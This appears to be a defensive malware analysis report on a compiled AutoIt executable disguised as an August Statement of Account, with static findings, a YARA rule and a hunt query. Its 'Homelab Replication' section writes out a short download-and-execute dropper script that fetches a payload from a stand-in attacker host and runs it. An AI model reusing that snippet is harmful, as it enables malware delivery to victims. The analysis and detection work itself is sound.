unclassified-autoit-compiled: ac2ca060 — AutoItSC PE32 with 802 KB encrypted SCRIPT resource, "AUG_SOA" business lure

Executive Summary

A 1.7 MB PE32 x86 compiled with the AutoIt v3 single-file compiler (AutoItSC). The binary embeds a 802 KB compiled AutoIt script (resource type SCRIPT, ID 10) with AU3!EA06 header, encrypted/compiled to bytecode. Filename AUG_SOA.exe masquerades as an August Statement of Account — a business-themed social-engineering lure. No CAPE detonation available; static analysis reveals full WinInet/WinSock networking imports and GDI screenshot primitives, but no hardcoded C2 strings. This is a standalone compiled AutoIt executable, distinct from asgardprotector's IExpress SFX + separate .a3x pattern.

What It Is

The binary is not an IExpress SFX, not UPX-packed, and not a .NET assembly. It is the direct output of the AutoIt v3 single-file compiler, which links the AutoIt interpreter runtime with the user's compiled script into a single PE.^[strings.txt:761]

How It Works

Stage 1 — AutoIt Runtime Bootstrap

The entry point at 0x420577 is standard AutoItSC C runtime initialization:^[rabin2-info.txt:14]

1. __security_init_cookie → __mainCRTStartup → main(0x401c60).
2. main() is a minimal stub (5 basic blocks) that initializes the AutoIt runtime and hands control to the compiled script engine.^[r2:main]
3. The script engine loads the compiled bytecode from resource type 10 (RT_RCDATA) ID SCRIPT (802 KB) from .rsrc.^[resources/type_10_SCRIPT.bin]

Stage 2 — Compiled Script Execution

The SCRIPT resource has AU3!EA06 magic at offset 0x10 and again at the end (trailer), confirming it is a compiled AutoIt v3 script.^[xxd type_10_SCRIPT.bin] The body between the two markers is encrypted/compiled bytecode — no plaintext strings, no hardcoded URLs, no file paths. Without an AutoIt decompiler (e.g., MyAut2Exe) or dynamic execution, the script logic is opaque.

Notable imports available to the script runtime (from the PE IAT):^[pefile.txt:274-500]

• Networking: InternetOpenUrlW, HttpSendRequestW, FtpOpenFileW, socket, connect, send, recv (WinInet + WSOCK32)
• Process manipulation: CreateProcessW, OpenProcess, VirtualAllocEx, WriteProcessMemory, ReadProcessMemory, TerminateProcess
• Registry: RegSetValueExW, RegCreateKeyExW, RegQueryValueExW, RegDeleteValueW
• File system: CreateFileW, WriteFile, ReadFile, DeleteFileW, MoveFileW, CopyFileExW, FindFirstFileW
• Input capture: GetAsyncKeyState, SendInput, keybd_event, mouse_event
• Screenshot: GDI32 (CreateCompatibleDC, BitBlt, StretchBlt, GetDIBits)
• Clipboard: OpenClipboard, GetClipboardData, SetClipboardData

These imports indicate the script has the capability for keylogging, screenshots, clipboard monitoring, file system operations, registry persistence, and network C2 — but no specific indicators are recoverable statically.

Stage 3 — No Observable Dropper Behaviour

Unlike asgardprotector or the 54e64e cluster, this sample does not drop a separate AutoIt3.exe and .a3x file. The entire threat logic lives inside the single PE. There is no batch reconstruction, no CAB extraction, no SFX stage. This is a simpler, more direct deployment pattern.

Decompiled Behavior

Ghidra analysis is now complete (analysis_complete: true, 2,625 functions recovered). The decompiler shows standard MSVC C++ runtime and UCRT initialization routines; the AutoIt interpreter dispatch table and script engine are present but the actual compiled script bytecode in the SCRIPT resource is not pseudo-C-decompilable. No additional anti-analysis or packing logic was found in the native code.^[ghidra:analysis_complete]

radare2 confirms:

• entry0 at 0x420577 — 112 instructions, 21 basic blocks, cyclomatic complexity 12. Standard CRT startup with SEH frame.^[r2:entry0]
• main at 0x401c60 — called once from entry0. Tiny stub (returns immediately after initialization).^[r2:main]
• No anti-debug checks, no VM detection, no packed/decryption loops in the native code. The AutoIt runtime itself does not implement anti-analysis beyond the natural opacity of compiled script bytecode.

C2 Infrastructure

None recovered. The compiled script resource is encrypted bytecode. No hardcoded domains, IPs, URLs, mutexes, or file paths were found in the PE strings, FLOSS output, or extracted resource.^[floss.txt] (Note: floss.txt shows only a CLI argument error — the tool was mis-invoked and produced no decoded strings.) ^[floss.txt:1-6]

The WinInet and WSOCK32 imports confirm network capability, but the actual C2 endpoints are runtime-resolved within the compiled script. Dynamic analysis is required.

Interesting Tidbits

• Filename lure: AUG_SOA.exe — "August Statement of Account". SOA is a standard business document abbreviation, suggesting spear-phishing or mass-mail delivery to finance/accounting targets.
• Clean timestamp: The PE compilation date 2024-09-15 is plausible and recent (relative to the triage date 2026-05-26), unlike the fabricated future dates seen in IExpress-repacked samples. This suggests the binary was compiled directly by the attacker with AutoItSC, not repacked from a legitimate tool.
• No obfuscation in native code: Unlike the heavily obfuscated C++ droppers in the corpus, this sample's native code is plain AutoIt runtime. The only obfuscation is the compiled script encryption, which is a property of AutoItSC itself.
• High-entropy .rsrc: Section entropy 7.97/8.0 is driven almost entirely by the 802 KB SCRIPT resource. The remaining resources (icons, manifest) are standard Windows GUI artefacts.
• Unsigned, no version info: VS_VERSIONINFO block exists but contains only language/charset fields; no company name, product name, or file description.^[pefile.txt:229-273]
• YARA hits: Only generic rules (PE_File_Generic, Suspicious_Wininet_Imports). No family-specific signatures exist.^[yara.txt]

How To Mess With It (Homelab Replication)

Reproducing a compiled AutoIt malware executable:

1. Install AutoIt v3.3.16.1 from https://www.autoitscript.com (legitimate tool).
2. Write a simple malicious script (e.g., download + execute):

   #include <InetConstants.au3>
   Local $url = "http://attacker.com/payload.exe"
   Local $file = @TempDir & "\payload.exe"
   InetGet($url, $file, 1, 0)
   Run($file)
   

3. Compile with AutoItSC (right-click → Compile Script, or Aut2Exe.exe).
4. The resulting .exe is a PE32 with the script embedded as a SCRIPT resource.

Verification step: strings output.exe | grep "AU3!" should reveal the AutoIt magic. binwalk will show a CRC32 table (from the AutoIt runtime) but no external archive.

What you'll learn: How a legitimate automation language becomes a dropper platform with minimal attacker effort, and why the compiled script resource blocks static string analysis.

Deployable Signatures

YARA rule

rule AutoItSC_Compiled_Standalone_PE32 {
    meta:
        description = "Standalone AutoIt v3 single-file compiled executable with embedded SCRIPT resource"
        author = "PacketPursuit"
        date = "2026-06-16"
        hash = "ac2ca0601a108d722b78f1b6404117f72144d74d3b37a76ed9782d20cff2384b"
    strings:
        $au3_magic = "AU3!EA06" ascii
        $autoitsc = ".text$lp00AutoItSC" ascii
        $thirdparty = "This is a third-party compiled AutoIt script." ascii
        $script_rsrc = { 00 00 00 0A 00 00 00 0A }  // resource type 10 (SCRIPT) repeated
        $wininet = "WININET.dll" ascii
    condition:
        uint16(0) == 0x5A4D and
        $au3_magic and
        $autoitsc and
        $thirdparty and
        $wininet and
        filesize > 500KB
}

Behavioral hunt query (Sigma-like)

# Sigma rule: AutoIt compiled executable spawning child processes or making network connections
title: AutoIt Compiled Executable Suspicious Activity
logsource:
  category: process_creation
  product: windows
detection:
  selection:
    - ImageLoaded|contains: 'AutoItSC'
    - CommandLine|contains:
      - '.exe'
  condition: selection and (network_connection or child_process)

IOC list

Behavioral fingerprint

This binary is a PE32 compiled with the AutoIt v3 single-file compiler. On launch, it initializes the AutoIt runtime from .text, decrypts/loads the compiled script bytecode from resource type 10 (SCRIPT) in .rsrc, and begins execution. The script has full access to WinInet (HTTP/FTP), WinSock (TCP/UDP), registry, file system, clipboard, keyboard, and GDI APIs through the AutoIt UDF wrapper functions. No hardcoded C2 strings are present in the PE; network endpoints are resolved at runtime from the encrypted script bytecode. Expect outbound HTTP/HTTPS or raw socket connections within seconds of process start, potentially preceded by registry or file-system reconnaissance.

Detection Signatures

capa → ATT&CK mapping

References

• AutoIt v3 Documentation: https://www.autoitscript.com/autoit3/docs/
• MyAut2Exe (AutoIt decompiler): https://github.com/naderi/Exe2Aut (third-party tool)
• Related wiki: autoit-compiled-script-dropper, asgardprotector, iexpress-sfx-dropper

Provenance

Analysis conducted on 2026-06-16. Static artifacts sourced from:

• file.txt, exiftool.json, pefile.txt, strings.txt (triage pipeline, 2026-05-26)
• capa.txt — Mandiant capa v7 (AutoIt limitation triggered)
• floss.txt — FireEye FLARE floss (CLI invocation error, no output)
• binwalk.txt — binwalk v2.3.4 (PE + CRC32 table only)
• rabin2-info.txt — radare2 v5.x
• radare2 decompilation of entry0 (0x420577) and main (0x401c60)
• Resource extraction via Python pefile (type 10 SCRIPT, 802 KB)
• xxd inspection of compiled script header/trailer (AU3!EA06)
• No CAPE dynamic analysis available (no Windows guest).